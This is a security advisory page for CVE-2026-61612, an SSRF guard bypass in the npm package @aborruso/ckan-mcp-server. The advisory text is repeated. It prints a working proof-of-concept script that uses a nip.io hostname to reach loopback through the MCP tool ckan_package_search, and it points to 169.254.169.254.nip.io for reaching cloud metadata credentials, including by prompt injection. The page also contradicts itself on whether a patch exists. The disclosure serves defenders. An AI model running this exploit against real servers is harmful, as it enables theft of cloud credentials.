CVE-2026-61612

GHSA-798p-78g2-v556 MEDIUM
Published September 22, 2026

## Summary The SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the **hostname string** and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to...

Full CISO analysis pending enrichment.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
@aborruso/ckan-mcp-server npm <= 0.4.107 0.4.108

Do you use @aborruso/ckan-mcp-server? You're affected.

How severe is it?

CVSS 3.1
5.7 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
N/A

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI Required
S Unchanged
C High
I None
A None

What should I do?

Patch available

Update @aborruso/ckan-mcp-server to version 0.4.108

Which compliance frameworks are affected?

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is CVE-2026-61612?

## Summary The SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the **hostname string** and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to **loopback and cloud metadata (`169.254.169.254`)**. This is a third bypass of the same guard, still present in the current latest **0.4.107**, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback. ## Affected / patched - `@aborruso/ckan-mcp-server` (npm) — all versions with the guard, through **0.4.107** (current `latest`). The guard has never resolved DNS. No patch yet. ## Severity It is effectively **High** for the self-hosted **unauthenticated HTTP transport** (`TRANSPORT=http`, `POST /mcp`), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS). ## Root cause — `src/utils/http.ts`, `validateServerUrl` The guard blocks IP **literals** and three loopback alias strings, but does no name resolution: ```ts const hostname = parsed.hostname.toLowerCase(); if (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw; // string denylist if (hostname.match(/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)) { /* block private/special IPv4 LITERALS */ } // no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed ``` Both prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added `ip6-localhost`/`ip6-loopback`). The DNS-resolution gap — the actual root cause — remains. `server_url` is a caller-controlled argument (`z.string().url()`) on every tool, reaching `makeCkanRequest` (all CKAN tools) and `querySparqlEndpoint` (`sparql_query`). The sink is **non-blind**: a non-CKAN response is returned to the caller verbatim via `CKAN API returned success=false: <body>`. > Note: numeric-IP encodings (decimal `2130706433`, short `127.1`, hex `0x7f.0.0.1`) do **not** bypass — Node's WHATWG `new URL()` canonicalizes them to dotted-decimal before the regex. Only the DNS-name vector bypasses. ## Proof of concept Drives the published server over the MCP protocol via the public `ckan_package_search` tool. Local-only: the loopback server stands in for an internal/IMDS endpoint. ```sh npm install @aborruso/ckan-mcp-server@0.4.107 @modelcontextprotocol/sdk node poc.mjs ``` ```js import http from 'node:http'; import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; const SECRET = 'INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE'; const internal = http.createServer((_req, res) => { res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ Token: SECRET })); // stand-in for an IMDS / internal response }); await new Promise(r => internal.listen(0, '127.0.0.1', r)); const port = internal.address().port; const client = new Client({ name: "ssrf-poc", version: "1.0.0" }); await client.connect(new StdioClientTransport({ command: "node", args: ["node_modules/@aborruso/ckan-mcp-server/dist/index.js"] })); // nip.io is public wildcard DNS: <ip>.nip.io -> <ip>. The guard sees hostname "127.0.0.1.nip.io" // (not a literal, not in its denylist) and allows it; the request resolves to 127.0.0.1. // Use 169.254.169.254.nip.io to reach IMDS on a cloud host. const evil = `http://127.0.0.1.nip.io:${port}/`; const res = await client.callTool({ name: "ckan_package_search", arguments: { server_url: evil, q: "x" } }); const text = res.content?.[0]?.text || JSON.stringify(res); console.log("SSRF:", text.includes(SECRET) ? "YES — internal server reached, body returned to caller" : "no"); console.log(text.slice(0, 220)); await client.close(); internal.close(); ``` Output: ``` SSRF: YES — internal server reached, body returned to caller CKAN API returned success=false: {"Token":"INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE"} ``` A real attacker uses any domain with an A/AAAA record pointing at an internal IP, or DNS rebinding; `nip.io` just makes the PoC self-contained. ## Impact Caller-controlled SSRF to loopback, RFC-1918 hosts, and `169.254.169.254` (cloud IMDS → IAM credentials), with the response body returned to the caller (non-blind). In the default stdio deployment this requires prompt injection to steer the tool argument; the self-hosted HTTP transport is unauthenticated, so any remote client can trigger it directly. ## Suggested fix Resolve the hostname and validate **every resolved IP** against the private/special ranges, then **pin the connection to the validated IP** (custom `lookup`/agent) so a re-resolve cannot rebind to an internal address — or require the existing `CKAN_ALLOWED_DOMAINS` allowlist (default-deny, especially for the HTTP transport). A hostname-string denylist cannot close this class.

Is CVE-2026-61612 actively exploited?

No confirmed active exploitation of CVE-2026-61612 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-61612?

Update to patched version: @aborruso/ckan-mcp-server 0.4.108.

What is the CVSS score for CVE-2026-61612?

CVE-2026-61612 has a CVSS v3.1 base score of 5.7 (MEDIUM).

What are the technical details?

Original Advisory

## Summary The SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the **hostname string** and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to **loopback and cloud metadata (`169.254.169.254`)**. This is a third bypass of the same guard, still present in the current latest **0.4.107**, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback. ## Affected / patched - `@aborruso/ckan-mcp-server` (npm) — all versions with the guard, through **0.4.107** (current `latest`). The guard has never resolved DNS. No patch yet. ## Severity It is effectively **High** for the self-hosted **unauthenticated HTTP transport** (`TRANSPORT=http`, `POST /mcp`), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS). ## Root cause — `src/utils/http.ts`, `validateServerUrl` The guard blocks IP **literals** and three loopback alias strings, but does no name resolution: ```ts const hostname = parsed.hostname.toLowerCase(); if (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw; // string denylist if (hostname.match(/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)) { /* block private/special IPv4 LITERALS */ } // no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed ``` Both prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added `ip6-localhost`/`ip6-loopback`). The DNS-resolution gap — the actual root cause — remains. `server_url` is a caller-controlled argument (`z.string().url()`) on every tool, reaching `makeCkanRequest` (all CKAN tools) and `querySparqlEndpoint` (`sparql_query`). The sink is **non-blind**: a non-CKAN response is returned to the caller verbatim via `CKAN API returned success=false: <body>`. > Note: numeric-IP encodings (decimal `2130706433`, short `127.1`, hex `0x7f.0.0.1`) do **not** bypass — Node's WHATWG `new URL()` canonicalizes them to dotted-decimal before the regex. Only the DNS-name vector bypasses. ## Proof of concept Drives the published server over the MCP protocol via the public `ckan_package_search` tool. Local-only: the loopback server stands in for an internal/IMDS endpoint. ```sh npm install @aborruso/ckan-mcp-server@0.4.107 @modelcontextprotocol/sdk node poc.mjs ``` ```js import http from 'node:http'; import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; const SECRET = 'INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE'; const internal = http.createServer((_req, res) => { res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ Token: SECRET })); // stand-in for an IMDS / internal response }); await new Promise(r => internal.listen(0, '127.0.0.1', r)); const port = internal.address().port; const client = new Client({ name: "ssrf-poc", version: "1.0.0" }); await client.connect(new StdioClientTransport({ command: "node", args: ["node_modules/@aborruso/ckan-mcp-server/dist/index.js"] })); // nip.io is public wildcard DNS: <ip>.nip.io -> <ip>. The guard sees hostname "127.0.0.1.nip.io" // (not a literal, not in its denylist) and allows it; the request resolves to 127.0.0.1. // Use 169.254.169.254.nip.io to reach IMDS on a cloud host. const evil = `http://127.0.0.1.nip.io:${port}/`; const res = await client.callTool({ name: "ckan_package_search", arguments: { server_url: evil, q: "x" } }); const text = res.content?.[0]?.text || JSON.stringify(res); console.log("SSRF:", text.includes(SECRET) ? "YES — internal server reached, body returned to caller" : "no"); console.log(text.slice(0, 220)); await client.close(); internal.close(); ``` Output: ``` SSRF: YES — internal server reached, body returned to caller CKAN API returned success=false: {"Token":"INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE"} ``` A real attacker uses any domain with an A/AAAA record pointing at an internal IP, or DNS rebinding; `nip.io` just makes the PoC self-contained. ## Impact Caller-controlled SSRF to loopback, RFC-1918 hosts, and `169.254.169.254` (cloud IMDS → IAM credentials), with the response body returned to the caller (non-blind). In the default stdio deployment this requires prompt injection to steer the tool argument; the self-hosted HTTP transport is unauthenticated, so any remote client can trigger it directly. ## Suggested fix Resolve the hostname and validate **every resolved IP** against the private/special ranges, then **pin the connection to the validated IP** (custom `lookup`/agent) so a re-resolve cannot rebind to an internal address — or require the existing `CKAN_ALLOWED_DOMAINS` allowlist (default-deny, especially for the HTTP transport). A hostname-string denylist cannot close this class.

Weaknesses (CWE)

CWE-918 — Server-Side Request Forgery (SSRF): The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

Timeline

Published
September 22, 2026
Last Modified
September 22, 2026
First Seen
September 22, 2026